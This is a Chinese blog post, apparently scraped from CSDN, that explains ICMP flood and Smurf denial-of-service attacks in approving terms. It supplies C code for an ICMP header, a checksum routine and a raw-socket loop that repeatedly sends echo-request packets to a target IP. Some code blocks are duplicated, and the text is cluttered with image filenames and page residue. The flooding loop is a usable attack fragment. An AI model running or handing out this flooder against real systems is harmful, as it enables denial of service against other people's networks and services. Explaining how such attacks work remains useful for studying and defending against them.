http://blog.csdn.net/hwhaocool/article/details/22697325
icmp flood属于flood的其中一种.
达到效果有以下实现方法
1.两败俱伤
大量的 ICMP消息发送给目标系统,使得它不能够对合法的服务请求做出响应。中美黑客大战中的多数中国黑客采用的正是此项技术。ICMP FLOOD攻击实际上是一种两败俱伤的攻击方式,在主机"疯狂"地向攻击目标发送ICMP消息的时候,主机也在消耗自身的系统资源。如果自身的网络资源小 于目标的话,这种攻击就是"蚍蜉撼大树"。因此,ICMP FLOOD攻击为了达到很好的效果,往往要联合多台机器同时攻击同一台机器,从而形成分布式拒绝服务攻击(DDoS)。
2.借刀杀人
攻击者向许多地址发送ICMP Echo Request,但是它却告诉这些地址ICMP Echo Request不是它自己发的,而是"某某"发的,这个"某某"就会成为"众矢之的"。通过伪装目的主机的IP地址,向多个IP 网络的广播地址发送ICMP Echo Request数据包,使得目的主机需要消耗大量CPU 资源和有效带宽来处理来自众多节点的ICMP Reply数据包。该攻击的原理如下图:
v979yc5i62ve[1].gif
从图中可以看出,带宽仅为128Kbps的攻击者可以击溃带宽比其更大(512Kbps)的目标,因为ICMP SMURF采用的手段是"借刀杀人"!它本身并不向目标发送ICMP消息,而是向许多远程主机"诬告"攻击目标向他们发送了ICMP Echo,于是这些远程主机纷纷向攻击目标发送ICMP Reply,导致攻击目标崩溃。有明一代名将袁崇焕督师就是因为满人的反间计而被崇祯凌迟,并被当时的北京市民争其肉而食的。网络攻击中的"借刀杀人"照 样威力无穷。
2014033123061208437[1].png
305dd7ea50e1706daeafd55c[1].jpg
//定义ICMP首部
typedef struct _icmphdr{
unsigned char i_type; //8位类型
unsigned char i_code; //8位代码
unsigned short i_cksum; //16位校验和, 从TYPE开始,直到最后一位用户数据,如果为字节数为奇数则补充一位
unsigned short i_id ; //识别号(一般用进程号作为识别号), 用于匹配ECHO和ECHO REPLY包
unsigned short i_seq ; //报文序列号, 用于标记ECHO报文顺序
unsigned int timestamp; //时间戳
}ICMP_HEADER;
计算校验和的经典函数:
SHORT checksum(USHORT* buffer, int size)
{
unsigned long cksum = 0;
while(size>1)
{
cksum += *buffer++;
size -= sizeof(USHORT);
}
if(size)
{
cksum += *(UCHAR*)buffer;
}
cksum = (cksum>>16) + (cksum&0xffff);
cksum += (cksum>>16);
return (USHORT)(~cksum);
}
计算校验和的经典函数:
SHORT checksum(USHORT* buffer, int size)
{
unsigned long cksum = 0;
while(size>1)
{
cksum += *buffer++;
size -= sizeof(USHORT);
}
if(size)
{
cksum += *(UCHAR*)buffer;
}
cksum = (cksum>>16) + (cksum&0xffff);
cksum += (cksum>>16);
return (USHORT)(~cksum);
}
<meta charset="utf-8">
[cpp] [view plain](http://blog.csdn.net/hwhaocool/article/details/22697325#) [copy](http://blog.csdn.net/hwhaocool/article/details/22697325#) [print?](http://blog.csdn.net/hwhaocool/article/details/22697325#)
1. /////////生成ICMP会送请求报文
2. char icmp_data[65535]={0}; //要发送的字符串
4. ((IcmpHeader*)icmp_data)->chksum=0;
5. ((IcmpHeader*)icmp_data)->type=8; //会送请求
6. ((IcmpHeader*)icmp_data)->code=0; //
7. ((IcmpHeader*)icmp_data)->id=2;
8. ((IcmpHeader*)icmp_data)->timestamp=GetTickCount(); //设置时间戳
9. ((IcmpHeader*)icmp_data)->seq=0; //序列号
11. memset(icmp_data+sizeof(IcmpHeader),'E',PACKET_SIZE);
12. ((IcmpHeader*)icmp_data)->chksum=
13. checksum((USHORT*)icmp_data,sizeof(IcmpHeader)+PACKET_SIZE); //填入校验和
14. int datasize=sizeof(IcmpHeader)+PACKET_SIZE;
16. //开始发送数据报文了
17. sockaddr_in dst;
18. dst.sin_family=AF_INET;
19. dst.sin_addr.S_un.S_addr=inet_addr(dstIP);
20. DWORD dwStart=GetTickCount();
21. while(GetTickCount()-dwStart<10) //程序运行10秒后退出
22. sendto(sockRAW,icmp_data,datasize,0,(struct sockaddr*)&dst,sizeof(dst));
/////////生成ICMP会送请求报文
char icmp_data[65535]={0}; //要发送的字符串
((IcmpHeader*)icmp_data)->chksum=0;
((IcmpHeader*)icmp_data)->type=8; //会送请求
((IcmpHeader*)icmp_data)->code=0; //
((IcmpHeader*)icmp_data)->id=2;
((IcmpHeader*)icmp_data)->timestamp=GetTickCount(); //设置时间戳
((IcmpHeader*)icmp_data)->seq=0; //序列号
memset(icmp_data+sizeof(IcmpHeader),'E',PACKET_SIZE);
((IcmpHeader*)icmp_data)->chksum=
checksum((USHORT*)icmp_data,sizeof(IcmpHeader)+PACKET_SIZE); //填入校验和
int datasize=sizeof(IcmpHeader)+PACKET_SIZE;
//开始发送数据报文了
sockaddr_in dst;
dst.sin_family=AF_INET;
dst.sin_addr.S_un.S_addr=inet_addr(dstIP);
DWORD dwStart=GetTickCount();
while(GetTickCount()-dwStart<10) //程序运行10秒后退出
sendto(sockRAW,icmp_data,datasize,0,(struct sockaddr*)&dst,sizeof(dst));
20140401014054218[1].png
网友评论